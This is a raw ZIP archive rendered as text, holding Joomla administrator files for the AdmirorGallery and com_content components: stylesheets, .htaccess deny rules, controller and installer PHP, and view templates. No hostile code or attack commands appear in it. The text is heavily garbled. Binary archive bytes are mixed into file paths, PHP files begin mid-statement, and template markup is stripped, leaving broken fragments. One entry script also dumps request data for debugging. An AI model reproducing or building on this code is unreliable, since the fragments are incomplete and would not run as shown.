ʲL@Ds!p>Z ("ZQAZk{朋j4=Fۮ`>D0IkS xʲ /$I07s$clι=%oz[Yc{^n@k "04Jq5"E\e66Ccomponents/com_admirorgallery/templates/default/css/add-trigger.cssnuW+Abody { font-size: 10px; font-family: Arial,Helvetica,sans-serif; } h2 { font-family: Arial,Helvetica,sans-serif; font-size: 11px; } table.admintable td.key, table.admintable td.paramlist_key { background-color: #F6F6F6; border-bottom: 1px solid #E9E9E9; border-right: 1px solid #E9E9E9; color: #666666; font-weight: bold; text-align: right; width: 140px; } table.admintable td { padding: 3px; } table.admintable td.key, table.admintable td.paramlist_key { color: #666666; font-weight: bold; text-align: right; } input, select { border: 1px solid silver; font-size: 10px; } .button2-left { background: url("../images/j_button2_left.png") no-repeat scroll 0 0 transparent; float: left; margin-left: 5px; } .button2-left a, .button2-left span { padding: 0 24px 0 6px; } .button2-left a, .button2-right a, .button2-left span, .button2-right span { color: #333333; cursor: pointer; display: block; float: left; font-size: 11px; height: 22px; line-height: 22px; text-decoration: none; } .button2-left, .button2-right, .button2-left div, .button2-right div { float: left; } .button2-left .admirorgallery { background: url("../images/j_button2_admirorgallery.png") no-repeat scroll 100% 0 transparent; } PK@y>\M?components/com_admirorgallery/templates/default/css/toolbar.cssnuW+A/* ===================================== TOOLBAR */ .icon-48-controlpanel{ background-image: url(../images/toolbar/icon-48-controlpanel.png); background-position: left top; } .icon-48-templates{ background-image: url(../images/toolbar/icon-48-templates.png); } .icon-48-popups{ background-image: url(../images/toolbar/icon-48-popups.png); } .icon-48-imagemanager{ background-image: url(../images/toolbar/icon-48-imagemanager.png); } .icon-32-AG_apply { background-image: url(../images/toolbar/icon-32-AG_apply.png); display:block; height:32px; width:32px; } .icon-32-AG_reset { background-image: url(../images/toolbar/icon-32-AG_reset.png); display:block; height:32px; width:32px; } .toolbar-list { text-align:right; } .toolbar-list ul li a span { margin:0 auto; } .toolbar-list ul { display:inline-block; zoom:1; } .toolbar-list ul li { display:inline-block; zoom:1; } .toolbar-list ul li a { text-decoration:none; color:#444; display:inline-block; zoom:1; padding: 5px 5px 0px 5px; } .clr { clear:both; } /* toolbar */ div.toolbar { display:block; height:80px; } div.toolbar table { float:right; } .AG_toolbar { padding: 10px; display:block; border-bottom-style:solid;} .AG_toolbar table.toolbar { border-collapse: collapse; padding: 0; margin: 0; } .AG_toolbar table.toolbar td { padding: 1px 1px 1px 4px; text-align: center; color: #666; height: 48px; } .AG_toolbar table.toolbar td.spacer { width: 10px; } .AG_toolbar table.toolbar td.divider { border-right: 1px solid #eee; width: 5px; } .AG_toolbar table.toolbar span { float: none; width: 32px; height: 32px; margin: 0 auto; display: block; } .AG_toolbar table.toolbar a { display: block; float: left; white-space: nowrap; padding: 5px; cursor: pointer; color: #333; } .AG_toolbar table.toolbar a:hover { margin:0; background-color: #ddd; text-decoration: none; color: #333; } PK@y>\#o,,>components/com_admirorgallery/templates/default/css/index.htmlnuW+APK@y>\q@components/com_admirorgallery/templates/default/css/template.cssnuW+A.AG_background_color { background-color:#eee; } .AG_border_color { border-color:#ccc; } .AG_border_width { border-width:1px; } .AG_base_font, .AG_body_wrapper th, .AG_body_wrapper td { font-family:sans-serif; font-style:normal; font-size:11px; color:#333; } .AG_margin_medium { margin:10px; } .AG_margin_bottom { margin-bottom:20px; } /* System Messages */ #system-message { margin-bottom: 10px; padding: 0;} #system-message dt { font-weight: bold; } #system-message dd { margin: 0; font-weight: bold; text-indent: 30px; } #system-message dd ul { color: #0055BB; margin-bottom: 10px; list-style: none; padding: 10px; border-top: 3px solid #84A7DB; border-bottom: 3px solid #84A7DB;} /* System Standard Messages */ #system-message dt.message { display: none; } #system-message dd.message { } /* System Error Messages */ #system-message dt.error { display: none; } #system-message dd.error ul { color: #c00; background-color: #E6C0C0; border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B;} /* System Notice Messages */ #system-message dt.notice { display: none; } #system-message dd.notice ul { color: #c00; background: #EFE7B8; border-top: 3px solid #F0DC7E; border-bottom: 3px solid #F0DC7E;} /* System Standard Messages */ #system-message dd.message ul { background: #C3D2E5 url(../images/notice-info.png) 4px center no-repeat;} /* System Error Messages */ #system-message dd.error ul { color: #c00; background: #E6C0C0 url(../images/notice-alert.png) 4px top no-repeat; border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B;} /* System Notice Messages */ #system-message dd.notice ul { color: #c00; background: #EFE7B8 url(../images/notice-note.png) 4px top no-repeat; border-top: 3px solid #F0DC7E; border-bottom: 3px solid #F0DC7E;} .ag_guickIcon { float:left; margin-bottom:5px; margin-right:5px; text-align:center; } .ag_guickIcon a { border:1px solid #F0F0F0; display:block; float:left; height:97px; text-decoration:none; vertical-align:middle; width:108px; } .ag_guickIcon a span { color:#666666; } .ag_guickIcon a:hover { background:#F9F9F9 none repeat scroll 0 0; border-color:#EEEEEE #CCCCCC #CCCCCC #EEEEEE; border-style:solid; border-width:1px; text-decoration:none; } .ag_guickIcon a:hover span { color:#0B55C4; } .ag_guickIcon img { margin:0 auto; padding:10px 0; } .ag_guickIcon span { display:block; text-align:center; } #ag_params { vertical-align:top; padding:10px 30px; } #ag_descData { display:block; } #ag_controlPanel_wrapper { padding:20px; } .AG_descriptionWrapper { padding-left:20px; } /* ================================================== IMAGE DESCRIPTION */ /* RESET PADDING & MARGIN */ .AG_body_wrapper, .AG_bookmarks_wrapper, .AG_details_wrapper, .AG_body_wrapper hr { padding:0; margin:0; } .AG_body_wrapper hr { border:0; background-color:#ccc; height:1px; margin:7px 0; } .AG_body_wrapper a, .AG_body_wrapper a span { color:#dd0b50; } .AG_body_wrapper h1 { border:0 !important; } .AG_breadcrumbs_wrapper { font-weight:bold; } .AG_fieldset td { vertical-align:top; text-align:left; padding:0 5px 5px 0; } .AG_input { font-weight:bold; font-size:10px; height:16px; padding:0; margin:1px 0; border:1px solid silver; } .AG_bookmarks_wrapper, .AG_details_wrapper { vertical-align:top; text-align:left; } .AG_bookmarks_wrapper h1, .AG_details_wrapper h1 { font-size:16px; font-family: Tahoma,sans-serif; font-weight:bold; color:#333; } .AG_bookmarks_wrapper h2, .AG_details_wrapper h2 { font-size:14px; font-family: sans-serif; font-style:italic; font-weight:normal; color:#333; } .AG_bookmarks_wrapper { padding:20px; width:150px; } .AG_details_wrapper { border-left-style:solid; padding:20px; } .AG_legend { } .AG_legend td { padding:0 10px 10px 0; border: 0; } .AG_legend tr { border: 0; } .AG_item_wrapper { float:left; margin:0 5px 5px 0; border-style:solid; } .AG_item_link { padding:2px; display:block; } .AG_item_link:hover { background-color:#dd0b50; } .AG_item_img_wrapper { overflow:hidden; vertical-align:middle; padding:5px; height:80px; } .AG_item_controls_wrapper { text-align:left; padding:5px; white-space:nowrap; border-top-style:solid; height:175px; } .AG_item_controls_wrapper td { vertical-align:middle; line-height:24px; } .AG_separator { display:block; width:1px; height:90%; margin:0 3px; border-left-style:solid; } .AG_controls_item_name { border-top-style:solid; padding:3px 0; display:block; } .AG_common_button { margin:0; padding:0; display:inline-block; background-image:url("../images/AG_common_button.jpg"); background-repeat:no-repeat; padding-right:10px; background-position:right -96px; margin:0 3px; text-decoration:none; } .AG_common_button span { margin:0; padding:0; display:inline-block; background-image:url("../images/AG_common_button.jpg"); background-position:left top; padding-left:10px; } .AG_common_button span span { margin:0; padding:0; display:inline-block; background-position:left -48px; line-height:24px; font-size:10px; font-weight:bold; white-space:nowrap; } a.AG_common_button:hover { background-position:right -120px; text-decoration:none; } a.AG_common_button:hover span { background-position:left -24px; } a.AG_common_button:hover span span { background-position:left -72px; } .ag_hasXML, .ag_itemControls { vertical-align:middle; margin:0; padding:0; line-height:22px; } .ag_hasXML, .ag_hasThumb { vertical-align:middle; margin:0; padding:0; } .AG_mark_selectItem { border-color:#dd0b50; } .AG_thumbAndInfo_wrapper td { padding:0 5px; border: 0px solid #DDDDDD; } .AG_thumbAndInfo_wrapper tr { padding:0 5px; border: 0px solid #DDDDDD;; } .AG_thumbAndInfo_wrapper td div { padding:2px 0; } .AG_textarea { width:100%; height:70px; font-size:12px; padding:3px 5px; background-color:#ddd; border-width:0px; } /* ================================================== */ /* */ #jGrowl div.ag_header, #jGrowl div.ag_message { font-style:sans-serif; font-size:12px; color:white; } #jGrowl div.ag_header { padding:0; margin:0; line-height:20px; border-bottom:1px solid white; margin-bottom:5px; } #jGrowl div.ag_message { border:0; text-align:left; padding:0; margin:0; } #jGrowl .error { background-color: #a00; } PK@y>\)=components/com_admirorgallery/templates/default/css/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,2components/com_admirorgallery/templates/index.htmlnuW+APK@y>\)1components/com_admirorgallery/templates/.htaccessnuW+A Order allow,deny Deny from all PK@y>\+e--6components/com_admirorgallery/admin.admirorgallery.phpnuW+A"; print_r($_POST); echo "
    "; // echo "GET: "."
    "; print_r($_GET); echo "
    "; $AG_template = "default"; // Set template to default JRequest::setVar('AG_template', $AG_template); // Shared scripts for all views $doc = JFactory::getDocument(); $doc->addScript(JURI::root() . 'plugins/content/admirorgallery/admirorgallery/AG_jQuery.js'); $doc->addScript(JURI::root() . 'administrator/components/com_admirorgallery/scripts/jquery.hotkeys-0.7.9.min.js'); $doc->addStyleSheet(JURI::root() . 'administrator/components/com_admirorgallery/templates/' . $AG_template . '/css/template.css'); $doc->addStyleSheet(JURI::root() . 'administrator/components/com_admirorgallery/templates/' . $AG_template . '/css/toolbar.css'); // Require the base controller require_once (JPATH_COMPONENT . DS . 'controller.php'); // Require specific controller if requested $controller = JRequest::getWord('controller'); if ($controller) { $path = JPATH_COMPONENT . DS . 'controllers' . DS . $controller . '.php'; if (file_exists($path)) { require_once $path; } else { $controller = ''; } } // Create the controller $classname = 'AdmirorgalleryController' . $controller; $controller = new $classname( ); // Perform the Request task $controller->execute(JRequest::getVar('task')); // Redirect if set by the controller $controller->redirect(); PK@y>\)'components/com_admirorgallery/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)/components/com_admirorgallery/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\v 8components/com_admirorgallery/helpers/admirorgallery.phpnuW+A PK@y>\0components/com_admirorgallery/helpers/index.htmlnuW+APK@y>\a$$;components/com_admirorgallery/admirorgallery.scriptfile.phpnuW+Aget("manifest"); $parent = $parent->getParent(); $source = $parent->getPath("source"); $installer = new JInstaller(); // Install plugins foreach ($manifest->plugins->plugin as $plugin) { $attributes = $plugin->attributes(); $plg = $source . DS . $attributes['folder'] . DS . $attributes['plugin']; $installer->install($plg); } $db = JFactory::getDbo(); $tableExtensions = $db->nameQuote("#__extensions"); $columnElement = $db->nameQuote("element"); $columnType = $db->nameQuote("type"); $columnFolder = $db->nameQuote("folder"); $columnEnabled = $db->nameQuote("enabled"); // Enable plugins $db->setQuery( "UPDATE $tableExtensions SET $columnEnabled=1 WHERE $columnElement='admirorgallery' AND $columnType='plugin' AND $columnFolder='content'" ); $this->gallery_install_result = $db->query(); // Enable plugins $db->setQuery( "UPDATE $tableExtensions SET $columnEnabled=1 WHERE $columnElement='admirorbutton' AND $columnType='plugin' AND $columnFolder='editors-xtd'" ); $this->button_install_result = $db->query(); } /** * method to uninstall the component * * @return void */ function uninstall($parent) { $installer = new JInstaller(); $db = JFactory::getDbo(); $tableExtensions = $db->nameQuote("#__extensions"); $columnElement = $db->nameQuote("element"); $columnType = $db->nameQuote("type"); $columnFolder = $db->nameQuote("folder"); // Find AdmirorGallery plugin ID $db->setQuery( "SELECT extension_id FROM $tableExtensions WHERE $columnElement='admirorgallery' AND $columnType='plugin' AND $columnFolder='content'" ); $admirorgallery_id = $db->loadResult(); $this->gallery_uninstall_result = $installer->uninstall('plugin', $admirorgallery_id); // Find AdmirorButton ID $db->setQuery( "SELECT extension_id FROM $tableExtensions WHERE $columnElement='admirorbutton' AND $columnType='plugin' AND $columnFolder='editors-xtd'" ); $admirorbutton_id = $db->loadResult(); $this->button_uninstall_result = $installer->uninstall('plugin', $admirorbutton_id); $gallery_status = ($this->gallery_uninstall_result) ? JText::_('Removed') : JText::_('Error'); $button_status = ($this->button_uninstall_result) ? JText::_('Removed') : JText::_('Error'); $html = '

    Admiror Gallery ' . JText::_('Uninstall') . '

    ' . JText::_('Extension') . ' ' . JText::_('Status') . '
    Admiror Gallery ' . JText::_('Component') . ' ' . JText::_('Removed') . '
    ' . JText::_('Plugin') . ' ' . JText::_('Group') . '
    ' . ucfirst('Admiror Gallery Plugin') . ' ' . ucfirst('content') . ' ' . $gallery_status . '
    ' . ucfirst('Admiror Button') . ' ' . ucfirst('editors-xtd') . ' ' . $button_status . '
    '; echo $html; } /** * method to update the component * * @return void */ function update($parent) { //On update we just call install, no special case for updating. $this->install($parent); } /** * method to run before an install/update/uninstall method * * @return void */ function preflight($type, $parent) { } /** * method to run after an install/update/uninstall method * * @return void */ function postflight($type, $parent) { // $parent is the class calling this method // $type is the type of change (install, update or discover_install) if ($type == 'install') { $gallery_status = ($this->gallery_install_result) ? JText::_('Installed') : JText::_('Not installed'); $button_status = ($this->button_install_result) ? JText::_('Installed') : JText::_('Not installed'); $html = '

    Admiror Gallery Installation

    ' . JText::_('Extension') . ' ' . JText::_('Status') . '
    Admiror Gallery ' . JText::_('Component') . ' ' . JText::_('Installed') . '
    ' . JText::_('Plugin') . ' ' . JText::_('Group') . '
    ' . ucfirst('Admiror Gallery Plugin') . ' ' . ucfirst('content') . ' ' . $gallery_status . '
    ' . ucfirst('Admiror Button') . ' ' . ucfirst('editors-xtd') . ' ' . $button_status . '
    '; echo $html; } } }PK@y>\)components/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V!components/com_content/index.htmlnuW+A PK@y>\) components/com_content/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V*components/com_content/elements/index.htmlnuW+A PK@y>\))components/com_content/elements/.htaccessnuW+A Order allow,deny Deny from all PK@y>\c+components/com_content/elements/article.phpnuW+AgetTemplate(); $fieldName = $control_name.'['.$name.']'; $article = JTable::getInstance('content'); if ($value) { $article->load($value); } else { $article->title = JText::_('COM_CONTENT_SELECT_AN_ARTICLE'); } $js = " function jSelectArticle_".$name."(id, title, catid, object) { document.getElementById(object + '_id').value = id; document.getElementById(object + '_name').value = title; SqueezeBox.close(); }"; $doc->addScriptDeclaration($js); $link = 'index.php?option=com_content&task=element&tmpl=component&function=jSelectArticle_'.$name; JHtml::_('behavior.modal', 'a.modal'); $html = "\n".'
    '; // $html .= "\n   "; $html .= ''."\n"; $html .= "\n".''; return $html; } } PK@y>\ƣ!CC*components/com_content/elements/author.phpnuW+AgetAuthorisedUsergroups($action, true); // Check the results of the access check. if (!$groups) { return false; } // Clean up and serialize. JArrayHelper::toInteger($groups); $groups = implode(',', $groups); // Build the query to get the users. $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('u.id AS value'); $query->select('u.name AS text'); $query->from('#__users AS u'); $query->join('INNER', '#__user_usergroup_map AS m ON m.user_id = u.id'); $query->where('u.block = 0'); $query->where('m.group_id IN ('.$groups.')'); // Get the users. $db->setQuery((string) $query); $users = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseNotice(500, $db->getErrorMsg()); return false; } return JHtml::_('select.genericlist', $users, $name, 'class="inputbox" size="1"', 'value', 'text', $value); } } PK@y>\f)PP!components/com_content/config.xmlnuW+A
    PK@y>\p 3components/com_content/views/articles/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->authors = $this->get('Authors'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Levels filter. $options = array(); $options[] = JHtml::_('select.option', '1', JText::_('J1')); $options[] = JHtml::_('select.option', '2', JText::_('J2')); $options[] = JHtml::_('select.option', '3', JText::_('J3')); $options[] = JHtml::_('select.option', '4', JText::_('J4')); $options[] = JHtml::_('select.option', '5', JText::_('J5')); $options[] = JHtml::_('select.option', '6', JText::_('J6')); $options[] = JHtml::_('select.option', '7', JText::_('J7')); $options[] = JHtml::_('select.option', '8', JText::_('J8')); $options[] = JHtml::_('select.option', '9', JText::_('J9')); $options[] = JHtml::_('select.option', '10', JText::_('J10')); $this->f_levels = $options; // We don't need toolbar in the modal window. if ($this->getLayout() !== 'modal') { $this->addToolbar(); } parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = ContentHelper::getActions($this->state->get('filter.category_id')); $user = JFactory::getUser(); JToolBarHelper::title(JText::_('COM_CONTENT_ARTICLES_TITLE'), 'article.png'); if ($canDo->get('core.create') || (count($user->getAuthorisedCategories('com_content', 'core.create'))) > 0 ) { JToolBarHelper::addNew('article.add'); } if (($canDo->get('core.edit')) || ($canDo->get('core.edit.own'))) { JToolBarHelper::editList('article.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('articles.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('articles.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::custom('articles.featured', 'featured.png', 'featured_f2.png', 'JFEATURED', true); JToolBarHelper::divider(); JToolBarHelper::archiveList('articles.archive'); JToolBarHelper::checkin('articles.checkin'); } if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'articles.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('articles.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_content'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_CONTENT_ARTICLE_MANAGER'); } } PK@y>\)/components/com_content/views/articles/.htaccessnuW+A Order allow,deny Deny from all PK@y>\24components/com_content/views/articles/tmpl/modal.phpnuW+AisSite()) { JSession::checkToken('get') or die(JText::_('JINVALID_TOKEN')); } require_once JPATH_ROOT . '/components/com_content/helpers/route.php'; JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html'); JHtml::_('behavior.tooltip'); $function = JRequest::getCmd('function', 'jSelectArticle'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
    items as $i => $item) : ?> language && JLanguageMultilang::isEnabled()) { $tag = strlen($item->language); if ($tag == 5) { $lang = substr($item->language, 0, 2); } elseif ($tag == 6) { $lang = substr($item->language, 0, 3); } else { $lang = ""; } } elseif (!JLanguageMultilang::isEnabled()) { $lang = ""; } ?>
    pagination->getListFooter(); ?>
    escape($item->title); ?> escape($item->access_level); ?> escape($item->category_title); ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> created, JText::_('DATE_FORMAT_LC4')); ?> id; ?>
    PK@y>\ܫ.&&6components/com_content/views/articles/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $saveOrder = $listOrder == 'a.ordering'; ?>
    items as $i => $item) : $item->max_ordering = 0; //?? $ordering = ($listOrder == 'a.ordering'); $canCreate = $user->authorise('core.create', 'com_content.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_content.article.'.$item->id); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; $canEditOwn = $user->authorise('core.edit.own', 'com_content.article.'.$item->id) && $item->created_by == $userId; $canChange = $user->authorise('core.edit.state', 'com_content.article.'.$item->id) && $canCheckin; ?>
    items, 'filesave.png', 'articles.saveorder'); ?>
    pagination->getListFooter(); ?>
    id); ?> checked_out) : ?> editor, $item->checked_out_time, 'articles.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?>

    escape($item->alias));?>

    state, $i, 'articles.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> featured, $i, $canChange); ?> escape($item->category_title); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'articles.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'articles.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'articles.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'articles.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> escape($item->access_level); ?> created_by_alias) : ?> escape($item->author_name); ?>

    escape($item->created_by_alias)); ?>

    escape($item->author_name); ?>
    created, JText::_('DATE_FORMAT_LC4')); ?> hits; ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
    authorize('core.create', 'com_content') && $user->authorize('core.edit', 'com_content') && $user->authorize('core.edit.state', 'com_content')) : ?> loadTemplate('batch'); ?>
    PK@y>\)4components/com_content/views/articles/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V5components/com_content/views/articles/tmpl/index.htmlnuW+A PK@y>\   <components/com_content/views/articles/tmpl/default_batch.phpnuW+Astate->get('filter.published'); ?>

    = 0) : ?>
    PK@y>\V0components/com_content/views/articles/index.htmlnuW+A PK@y>\V/components/com_content/views/article/index.htmlnuW+A PK@y>\{;components/com_content/views/article/tmpl/edit_metadata.phpnuW+A
    • form->getLabel('metadesc'); ?> form->getInput('metadesc'); ?>
    • form->getLabel('metakey'); ?> form->getInput('metakey'); ?>
    • form->getGroup('metadata') as $field): ?>
    • hidden): ?> label; ?> input; ?>
    PK@y>\V4components/com_content/views/article/tmpl/index.htmlnuW+A PK@y>\j<$''2components/com_content/views/article/tmpl/edit.phpnuW+Astate->get('params'); $params = $params->toArray(); // This checks if the config options have ever been saved. If they haven't they will fall back to the original settings. $editoroptions = isset($params['show_publishing_options']); if (!$editoroptions): $params['show_publishing_options'] = '1'; $params['show_article_options'] = '1'; $params['show_urls_images_backend'] = '0'; $params['show_urls_images_frontend'] = '0'; endif; // Check if the article uses configuration settings besides global. If so, use them. if (!empty($this->item->attribs['show_publishing_options'])): $params['show_publishing_options'] = $this->item->attribs['show_publishing_options']; endif; if (!empty($this->item->attribs['show_article_options'])): $params['show_article_options'] = $this->item->attribs['show_article_options']; endif; if (!empty($this->item->attribs['show_urls_images_backend'])): $params['show_urls_images_backend'] = $this->item->attribs['show_urls_images_backend']; endif; ?>
    item->id) ? JText::_('COM_CONTENT_NEW_ARTICLE') : JText::sprintf('COM_CONTENT_EDIT_ARTICLE', $this->item->id); ?>
    • form->getLabel('title'); ?> form->getInput('title'); ?>
    • form->getLabel('alias'); ?> form->getInput('alias'); ?>
    • form->getLabel('catid'); ?> form->getInput('catid'); ?>
    • form->getLabel('state'); ?> form->getInput('state'); ?>
    • form->getLabel('access'); ?> form->getInput('access'); ?>
    • canDo->get('core.admin')): ?>
    • form->getLabel('featured'); ?> form->getInput('featured'); ?>
    • form->getLabel('language'); ?> form->getInput('language'); ?>
    • form->getLabel('id'); ?> form->getInput('id'); ?>
    form->getLabel('articletext'); ?>
    form->getInput('articletext'); ?>
    item->id, array('useCookie'=>1)); ?>
    • form->getLabel('created_by'); ?> form->getInput('created_by'); ?>
    • form->getLabel('created_by_alias'); ?> form->getInput('created_by_alias'); ?>
    • form->getLabel('created'); ?> form->getInput('created'); ?>
    • form->getLabel('publish_up'); ?> form->getInput('publish_up'); ?>
    • form->getLabel('publish_down'); ?> form->getInput('publish_down'); ?>
    • item->modified_by) : ?>
    • form->getLabel('modified_by'); ?> form->getInput('modified_by'); ?>
    • form->getLabel('modified'); ?> form->getInput('modified'); ?>
    • item->version) : ?>
    • form->getLabel('version'); ?> form->getInput('version'); ?>
    • item->hits) : ?>
    • form->getLabel('hits'); ?> form->getInput('hits'); ?>
    form->getFieldsets('attribs'); ?> $fieldSet) : ?> label), $name.'-options'); ?> description) && trim($fieldSet->description)) : ?>

    escape(JText::_($fieldSet->description));?>

      form->getFieldset($name) as $field) : ?>
    • label; ?> input; ?>
    form->getFieldset('basic-limited') as $field) : ?> input; ?>
    • form->getLabel('xreference'); ?> form->getInput('xreference'); ?>
    canDo->get('core.admin') ): ?>
      form->getFieldset('editorConfig') as $field) : ?>
    • label; ?> input; ?>
    • form->getLabel('images'); ?> form->getInput('images'); ?>
    • form->getGroup('images') as $field): ?>
    • hidden): ?> label; ?> input; ?>
    • form->getGroup('urls') as $field): ?>
    • hidden): ?> label; ?> input; ?>
    loadTemplate('metadata'); ?>
    canDo->get('core.admin')): ?>
    item->id, array('useCookie'=>1)); ?>
    form->getLabel('rules'); ?> form->getInput('rules'); ?>
    PK@y>\ K7components/com_content/views/article/tmpl/pagebreak.phpnuW+A";'."\n\t"; $script .= 'window.parent.jInsertEditorText(tag, \''.$this->eName.'\');'."\n\t"; $script .= 'window.parent.SqueezeBox.close();'."\n\t"; $script .= 'return false;'."\n"; $script .= '}'."\n"; JFactory::getDocument()->addScriptDeclaration($script); ?>
    PK@y>\)3components/com_content/views/article/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\;g g 2components/com_content/views/article/view.html.phpnuW+AgetLayout() == 'pagebreak') { // TODO: This is really dogy - should change this one day. $eName = JRequest::getVar('e_name'); $eName = preg_replace( '#[^A-Z0-9\-\_\[\]]#i', '', $eName ); $document = JFactory::getDocument(); $document->setTitle(JText::_('COM_CONTENT_PAGEBREAK_DOC_TITLE')); $this->assignRef('eName', $eName); parent::display($tpl); return; } // Initialiase variables. $this->form = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); $this->canDo = ContentHelper::getActions($this->state->get('filter.category_id')); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $userId = $user->get('id'); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId); $canDo = ContentHelper::getActions($this->state->get('filter.category_id'), $this->item->id); JToolBarHelper::title(JText::_('COM_CONTENT_PAGE_'.($checkedOut ? 'VIEW_ARTICLE' : ($isNew ? 'ADD_ARTICLE' : 'EDIT_ARTICLE'))), 'article-add.png'); // Built the actions for new and existing records. // For new records, check the create permission. if ($isNew && (count($user->getAuthorisedCategories('com_content', 'core.create')) > 0)) { JToolBarHelper::apply('article.apply'); JToolBarHelper::save('article.save'); JToolBarHelper::save2new('article.save2new'); JToolBarHelper::cancel('article.cancel'); } else { // Can't save the record if it's checked out. if (!$checkedOut) { // Since it's an existing record, check the edit permission, or fall back to edit own if the owner. if ($canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_by == $userId)) { JToolBarHelper::apply('article.apply'); JToolBarHelper::save('article.save'); // We can save this record, but check the create permission to see if we can return to make a new one. if ($canDo->get('core.create')) { JToolBarHelper::save2new('article.save2new'); } } } // If checked out, we can still save if ($canDo->get('core.create')) { JToolBarHelper::save2copy('article.save2copy'); } JToolBarHelper::cancel('article.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_CONTENT_ARTICLE_MANAGER_EDIT'); } } PK@y>\).components/com_content/views/article/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V'components/com_content/views/index.htmlnuW+A PK@y>\)&components/com_content/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V0components/com_content/views/featured/index.htmlnuW+A PK@y>\)/components/com_content/views/featured/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ep3components/com_content/views/featured/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $state = $this->get('State'); $canDo = ContentHelper::getActions($this->state->get('filter.category_id')); JToolBarHelper::title(JText::_('COM_CONTENT_FEATURED_TITLE'), 'featured.png'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('article.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('article.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('articles.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('articles.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::archiveList('articles.archive'); JToolBarHelper::checkin('articles.checkin'); JToolBarHelper::custom('featured.delete', 'remove.png', 'remove_f2.png', 'JTOOLBAR_REMOVE', true); } if ($state->get('filter.published') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'articles.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::trash('articles.trash'); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_content'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_CONTENT_FEATURED_ARTICLES'); } } PK@y>\)4components/com_content/views/featured/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\bB 6components/com_content/views/featured/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_content.article'); $saveOrder = $listOrder == 'fp.ordering'; ?>
